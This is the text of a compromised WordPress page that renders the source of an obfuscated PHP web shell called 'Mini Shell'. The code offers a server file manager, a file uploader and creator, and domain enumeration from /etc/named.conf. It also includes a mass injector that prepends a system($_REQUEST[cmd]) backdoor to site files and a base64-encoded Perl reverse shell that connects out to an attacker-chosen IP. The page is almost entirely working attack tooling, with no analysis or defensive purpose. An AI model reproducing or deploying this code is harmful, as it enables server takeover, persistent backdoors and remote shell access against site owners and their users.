Mini Shell

if (isset($_GET['server_info'])) {?>

Uname:
Browser:
Server Software:
Server IP:
User IP:
User:
Safe Mode: On’;} else {echo ‘Off‘;}?>

Domains:

if (isset($_GET['file_manager'])) {echo '

File Manager

Current Path : ‘;$_d586cea720c2 = getcwd();$_d586cea720c2 = str_replace(‘\\’,’/’,$_d586cea720c2);$_19eaea116b65 = explode(‘/’,$_d586cea720c2);function permsa($_db30bcba387e){$_62756ced6cca = fileperms($_db30bcba387e);if (($_62756ced6cca & 0xC000) == 0xC000) {$_c889a0d2bbd1 = ‘s’;} elseif (($_62756ced6cca & 0xA000) == 0xA000) {$_c889a0d2bbd1 = ‘l’;} elseif (($_62756ced6cca & 0×8000) == 0×8000) {$_c889a0d2bbd1 = ‘-’;} elseif (($_62756ced6cca & 0×6000) == 0×6000) {$_c889a0d2bbd1 = ‘b’;} elseif (($_62756ced6cca & 0×4000) == 0×4000) {$_c889a0d2bbd1 = ‘d’;} elseif (($_62756ced6cca & 0×2000) == 0×2000) {$_c889a0d2bbd1 = ‘c’;} elseif (($_62756ced6cca & 0×1000) == 0×1000) {$_c889a0d2bbd1 = ‘p’;} else {$_c889a0d2bbd1 = ‘u’;}$_c889a0d2bbd1 .= (($_62756ced6cca & 0×0100) ? ‘r’ : ‘-’);$_c889a0d2bbd1 .= (($_62756ced6cca & 0×0080) ? ‘w’ : ‘-’);$_c889a0d2bbd1 .= (($_62756ced6cca & 0×0040) ?(($_62756ced6cca & 0×0800) ? ‘s’ : ‘x’ ) :(($_62756ced6cca & 0×0800) ? ‘S’ : ‘-’));$_c889a0d2bbd1 .= (($_62756ced6cca & 0×0020) ? ‘r’ : ‘-’);$_c889a0d2bbd1 .= (($_62756ced6cca & 0×0010) ? ‘w’ : ‘-’);$_c889a0d2bbd1 .= (($_62756ced6cca & 0×0008) ?(($_62756ced6cca & 0×0400) ? ‘s’ : ‘x’ ) :(($_62756ced6cca & 0×0400) ? ‘S’ : ‘-’));$_c889a0d2bbd1 .= (($_62756ced6cca & 0×0004) ? ‘r’ : ‘-’);$_c889a0d2bbd1 .= (($_62756ced6cca & 0×0002) ? ‘w’ : ‘-’);$_c889a0d2bbd1 .= (($_62756ced6cca & 0×0001) ?(($_62756ced6cca & 0×0200) ? ‘t’ : ‘x’ ) :(($_62756ced6cca & 0×0200) ? ‘T’ : ‘-’));return $_c889a0d2bbd1;}foreach($_19eaea116b65 as $_fb685115b91f=>$_e3beccd8d39e){ if($_e3beccd8d39e == ” && $_fb685115b91f == 0){ $_3c0a4563959e = true; echo ‘/‘; continue; } if($_e3beccd8d39e == ”) continue; echo ‘‘.$_e3beccd8d39e.’/’;}echo ‘

‘; if(isset($_GET['filesrc'])){ echo “

Current File : “; echo $_GET['filesrc']; echo ‘

‘; echo(‘

'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'

‘);}elseif(isset($_GET['option']) && $_POST['opt'] != ‘delete’){ echo ‘

‘.$_POST['path'].’

‘; if($_POST['opt'] == ‘chmod’){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo ‘Change Permission Done.
‘; }else{ echo ‘Change Permission Error.
‘; } } echo ‘

‘; }elseif($_POST['opt'] == ‘rename’){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$_d586cea720c2.’/’.$_POST['newname'])){ echo ‘Change Name Done.
‘; }else{ echo ‘Change Name Error.
‘; } $_POST['name'] = $_POST['newname']; } echo ‘

‘; }elseif($_POST['opt'] == ‘edit’){ if(isset($_POST['src'])){ $_ba2773181c57 = fopen($_POST['path'],’w’); if(fwrite($_ba2773181c57,$_POST['src'])){ echo ‘Edit File Done.
‘; }else{ echo ‘Edit File Error.
‘; } fclose($_ba2773181c57); } echo ‘

‘; } echo ‘

‘;}else{ echo ‘

‘; if(isset($_GET['option']) && $_POST['opt'] == ‘delete’){ if($_POST['type'] == ‘dir’){ if(rmdir($_POST['path'])){ echo ‘Delete Dir Done.
‘; }else{ echo ‘Delete Dir Error.
‘; } }elseif($_POST['type'] == ‘file’){ if(unlink($_POST['path'])){ echo ‘Delete File Done.
‘; }else{ echo ‘Delete File Error.
‘; } } } echo ‘‘; $_b1faba4eea56 = scandir($_d586cea720c2); echo ‘

‘; foreach($_b1faba4eea56 as $_2ac452f67253){ if(!is_dir(“$_d586cea720c2/$_2ac452f67253″) || $_2ac452f67253 == ‘.’ || $_2ac452f67253 == ‘..’) continue; echo “

“; } echo ‘

‘; foreach($_b1faba4eea56 as $_db30bcba387e){ if(!is_file(“$_d586cea720c2/$_db30bcba387e”)) continue; $_77eb295f75fe = filesize(“$_d586cea720c2/$_db30bcba387e”)/1024; $_77eb295f75fe = round($_77eb295f75fe,3); if($_77eb295f75fe >= 1024){ $_77eb295f75fe = round($_77eb295f75fe/1024,2).’ MB’; }else{ $_77eb295f75fe = $_77eb295f75fe.’ KB’; } echo “

“; } echo ‘

Name	Size	Permissions	Options
$_2ac452f67253	–	“; if(is_writable(“$_d586cea720c2/$_2ac452f67253″)) echo ‘‘; elseif(!is_readable(“$_d586cea720c2/$_2ac452f67253″)) echo ‘‘; echo permsa(“$_d586cea720c2/$_2ac452f67253″); if(is_writable(“$_d586cea720c2/$_2ac452f67253″) \|\| !is_readable(“$_d586cea720c2/$_2ac452f67253″)) echo ‘‘; echo “	\” />

$_db30bcba387e	“.$_77eb295f75fe.”	“; if(is_writable(“$_d586cea720c2/$_db30bcba387e”)) echo ‘‘; elseif(!is_readable(“$_d586cea720c2/$_db30bcba387e”)) echo ‘‘; echo permsa(“$_d586cea720c2/$_db30bcba387e”); if(is_writable(“$_d586cea720c2/$_db30bcba387e”) \|\| !is_readable(“$_d586cea720c2/$_db30bcba387e”)) echo ‘‘; echo “	\” />

‘;}echo ‘

‘;}?>
if (isset($_GET['php_info'])) {?>

‘;}?>

if (isset($_GET['file_creator'])) {?>

$_5eb61fd12eed = $_POST['file_name'];$_0adc62b31334 = $_POST['content_of_files'];if (isset($_POST['file_name']) || isset($_POST['content_of_files']) || isset($_POST['submissionoffilecreator'])) {if (!empty($_5eb61fd12eed) || !empty($_0adc62b31334)) {$_84c54f971273 = @fopen($_5eb61fd12eed, 'w');@fwrite($_84c54f971273, $_0adc62b31334);@fclose($_84c54f971273);?>

File With Name: Please Input In All Fields
}}}?>
if (isset($_GET['mass_injector'])) {?>

ReV Mass Code Injector V2.0

$_ec5b37e72301 = '
if (isset($_REQUEST[cmd])) {
system ($_REQUEST[cmd]);
}
?>‘;?>

<br />
			</form>
<p>			<?php<br />
if (isset($_POST['submit'])) {$_e04f8301a9f1 = $_POST['code'];$_9f7af403d39c = base64_encode($_e04f8301a9f1);$_d586cea720c2 = getcwd();$_959a28065435 = 'http://'.$_SERVER['HTTP_HOST'];$_da84e8d0e5e8 = $_SERVER['SCRIPT_NAME'];$_d394e1453852 = $_959a28065435.$_da84e8d0e5e8;$_d586cea720c2 = getcwd();$_3528fced53a2 = $_d586cea720c2;if (empty($_e04f8301a9f1)) {echo '<font size=\'50%\' face=\'cursive\' color=\'red\'>You need to input something !!! <img src="http://freekaamaal.com/blog/wp-includes/images/smilies/icon_razz.gif" alt=":P" class="wp-smiley" /> </font>‘;}if (!empty($_e04f8301a9f1)) {if ($_84c54f971273 = opendir($_3528fced53a2)) {echo ‘Website: ‘.$_d394e1453852.’</p>
<p>‘;echo ‘Looking in ‘.$_3528fced53a2.’<br />‘;while ($_fb803b5db2a0 = readdir($_84c54f971273)) {if ($_fb803b5db2a0 != ‘.’ && $_fb803b5db2a0 != ‘..’ && $_fb803b5db2a0 != ‘rev.php’ && $_fb803b5db2a0 != ‘REV.php’ && $_fb803b5db2a0 != ‘.htaccess’ && $_fb803b5db2a0 != ‘php.ini’ && $_fb803b5db2a0 != ‘admin’ && $_fb803b5db2a0 != ‘images’ && $_fb803b5db2a0 != ‘image’ && $_fb803b5db2a0 != ‘img’ && $_fb803b5db2a0 != ‘phpmyadmin’ && $_fb803b5db2a0 != ‘files’ && $_fb803b5db2a0 != ‘.ftpquota’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘xml’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘jpg’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘ico’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘png’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘jpeg’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘txt’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘exe’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘html’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘shtml’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘htm’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘ico’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘css’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘zip’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘sql’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘js’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘py’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘pl’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘md’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘gif’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘tar.gz’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘c’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘sql.zip’ && strtolower(substr($_fb803b5db2a0, strrpos($_fb803b5db2a0, ‘.’) + 1)) != ‘out’) {echo ‘<a style="color: red; font-family: cursive;" target="_blank" href="'.$_fb803b5db2a0.'">‘.$_fb803b5db2a0.’</a><font size="" color="lawngreen" face="cursive">  &nbsp Is Injected</font><br />‘;$_c4f3394d1c6c = base64_decode($_9f7af403d39c);$_c4f3394d1c6c .= file_get_contents($_fb803b5db2a0);file_put_contents($_fb803b5db2a0, $_c4f3394d1c6c); echo ‘</p>
<p>‘;} }}}}}?><br />
		<?php<br />
if (isset($_GET['uploader'])) {?><br />
				<center></p>
<p>				<font style="color: lawngreen; font-family: cursive; font-size: 250%;">Uploader</font></p>
<form method="POST" enctype="multipart/form-data" action="">
					<input style="font-size: 90%;" type="file" name="files"><br />
					<input style="font-size: 90%;" type=submit value="Upload"><br />
				</form>
<p>				<?php<br />
$_fb803b5db2a0 = @$_FILES["files"];if ($_fb803b5db2a0["name"] != '') { $_73a9599617ef = $_REQUEST["path"] . $_fb803b5db2a0["name"]; if (move_uploaded_file($_fb803b5db2a0['tmp_name'], $_73a9599617ef)) { echo "<center></p>
<p><font style='color: red; font-family: cursive; font-size: 200%;'><a href='$_73a9599617ef' target='_blank'>Click to access uploaded File</a></font></center>“; }}?><br />
				<?php<br />
}?><br />
		<?php<br />
?><br />
		<font style="color: white; font-family: cursive; font-size: 100%;"><br />
		<?php<br />
if (isset($_GET['domains'])) { if(strtolower(substr(PHP_OS,0,3)) == "win") {$_f3d329025a5d = 'win';}else {$_f3d329025a5d = 'nix';} if ($_f3d329025a5d == 'win') {?><br />
				<center></p>
<p>					<font style="color: white; font-family: cursive; font-size: 200%;">Ooopppss Windows Server <img src="http://freekaamaal.com/blog/wp-includes/images/smilies/icon_razz.gif" alt=":P" class="wp-smiley" /> <br />You Better Find Linux <img src="http://freekaamaal.com/blog/wp-includes/images/smilies/icon_razz.gif" alt=":P" class="wp-smiley" />  </font><br />
				</center><?php<br />
}else {if (isset($_GET['domains'])) {$_db30bcba387e = @implode(@file("/etc/named.conf"));$_549674eea689 = "/var/named";if (!$_db30bcba387e) {$_fb0dd6286113 = scandir($_549674eea689);$_74ba591cb2f1=1;$_cbd11b654fbf = 0; echo "<br />
<table align=center border=1 width=59% cellpadding=5>
<tr>
<td colspan=2><center>There are : ( <b>” . count($_fb0dd6286113) . “</b> ) Domains in this Sever.</center></td>
</tr>
<tr>
<td>No</td>
<td>Domain</td>
<td>User</td>
</tr>
<p>“;foreach ($_fb0dd6286113 as &$_abf6e8a6ebfa) { if (stripos($_abf6e8a6ebfa,”.db”)) { $_abf6e8a6ebfa = str_replace(‘.db’,”,$_abf6e8a6ebfa); } if (strlen($_abf6e8a6ebfa) > 6) { echo “<br />
<tr>
<td>“.$_74ba591cb2f1++.”</td>
<td><a href='http://".$_abf6e8a6ebfa."' target='_blank'>“.$_abf6e8a6ebfa.”</a></td>
<td>User</td>
</tr>
<p>“; } } echo “</table>
<p>“;} else{ $_74ba591cb2f1 = 1; preg_match_all(“#named/(.*?).db#”, $_db30bcba387e, $_6fb5fe1b7448); $_fb0dd6286113 = array_unique($_6fb5fe1b7448[1]); echo “<br />
<table align=center border=1 width=59% cellpadding=5>
<tr>
<td colspan=2> There are  ( <b>” . count($_fb0dd6286113) . “</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td>
</tr>
<tr>
<td>No</td>
<td>Domain</td>
<td>User</td>
</tr>
<p>“; foreach ($_fb0dd6286113 as $_abf6e8a6ebfa) { $_1653139bda87 = posix_getpwuid(@fileowner(“/etc/valiases/” . $_abf6e8a6ebfa)); echo “<br />
<tr>
<td>“.$_74ba591cb2f1++.”</td>
<td><a href='http://".$_abf6e8a6ebfa."' target='_blank'>“.$_abf6e8a6ebfa.”</a></td>
<td>“.$_1653139bda87['name'].”</td>
</tr>
<p>“; ?> </font></p>
<p> <?php<br />
 }}} } }?><br />
		<?php<br />
if (isset($_GET['back_connecter'])) {$_0c5e3246e473="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";echo "<center></p>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\" method='POST'><span style='font-family: cursive; font-size: 200%; color: white;'>Back-Connecter Via Perl</span><br/><br />Your Ip: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'></p>
<p> Port to bind: <input type='text' name='port' value='110'></p>
<p><input type=submit name='backconnect' value='Submit'></form>
<p>“;if(isset($_POST['backconnect'])) {function cf($_e0887aa7bc0b,$_9c65822c9127) {$_dfb1f07e894f = @fopen($_e0887aa7bc0b,”w”) or @function_exists(‘file_put_contents’);if($_dfb1f07e894f){@fwrite($_dfb1f07e894f,@base64_decode($_9c65822c9127));@fclose($_dfb1f07e894f);}}function An0n3xPloiTeR($_6d1b263a32f3) {$_1765c46dda35 = ”;if (function_exists(‘exec’)) {@exec($_6d1b263a32f3,$_1765c46dda35);$_1765c46dda35 = @join(“\n”,$_1765c46dda35);} elseif (function_exists(‘passthru’)) {ob_start();@passthru($_6d1b263a32f3);$_1765c46dda35 = ob_get_clean();} elseif (function_exists(‘system’)) {ob_start();@system($_6d1b263a32f3);$_1765c46dda35 = ob_get_clean();} elseif (function_exists(‘shell_exec’)) {$_1765c46dda35 = shell_exec($_6d1b263a32f3);} elseif (is_resource($_e0887aa7bc0b = @popen($_6d1b263a32f3,”r”))) {$_1765c46dda35 = “”;while(!@feof($_e0887aa7bc0b))$_1765c46dda35 .= fread($_e0887aa7bc0b,1024);pclose($_e0887aa7bc0b);}return $_1765c46dda35;}if($_POST['backconnect']) {cf(“/tmp/bc.pl”,$_0c5e3246e473);$_1765c46dda35 = An0n3xPloiTeR(“perl /tmp/bc.pl “.$_POST['server'].” “.$_POST['port'].” 1>/dev/null 2>&1 &”); sleep(1);echo “
<pre class=ml1>$_1765c46dda35\n".An0n3xPloiTeR("ps aux | grep bc.pl")."</pre>
<p>“; unlink(“/tmp/bc.pl”);}}}?><br />
		<?php<br />
if (isset($_GET['die'])) {if(@unlink(preg_replace('!$\d+$\s.*!', '', __FILE__))) {die('<!DOCTYPE html><br />
<html><br />
	<head></p>
<style>
			.body {
			}
			.font {
				font-family: cursive;
				font-size: 300%;
				text-align: center;
				color: white;
			}
		</style>
<p>	</head><br />
	<body class="body"></p>
<div class="font">
			<font></p>
<p>You Deleted Me :3<br />Now Fuck off :V</font>
		</div>
<p>	</body><br />
</html>‘); } ?><br />
					</span><br />
				</center><br />
				<?php<br />
}?>
		</div>
<div class="footer">
			<font>Developed By LameHacker</a></font>
		</div>
<p>	</body><br />
</html></p>
			</div>
</article>
		
		
<div id="comments" class="comments-area">

<div id="respond" class="comment-respond">
				<h3 id="reply-title" class="comment-reply-title">Leave a Reply <small><a rel="nofollow" id="cancel-comment-reply-link" href="/blog/sample-page?file_manager&path=%2F#respond" style="display:none;">Cancel reply</a></small></h3>
									<form action="http://freekaamaal.com/blog/wp-comments-post.php" method="post" id="commentform" class="comment-form" novalidate>
																			<p class="comment-notes">Your email address will not be published.</p>							<p class="comment-form-author"><label for="author">Name</label> <input id="author" name="author" type="text" value="" size="30" /></p>
<p class="comment-form-email"><label for="email">Email</label> <input id="email" name="email" type="email" value="" size="30" /></p>
<p class="comment-form-url"><label for="url">Website</label> <input id="url" name="url" type="url" value="" size="30" /></p>
												<p class="comment-form-comment"><label for="comment">Comment</label> <textarea id="comment" name="comment" cols="45" rows="8" aria-required="true">

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>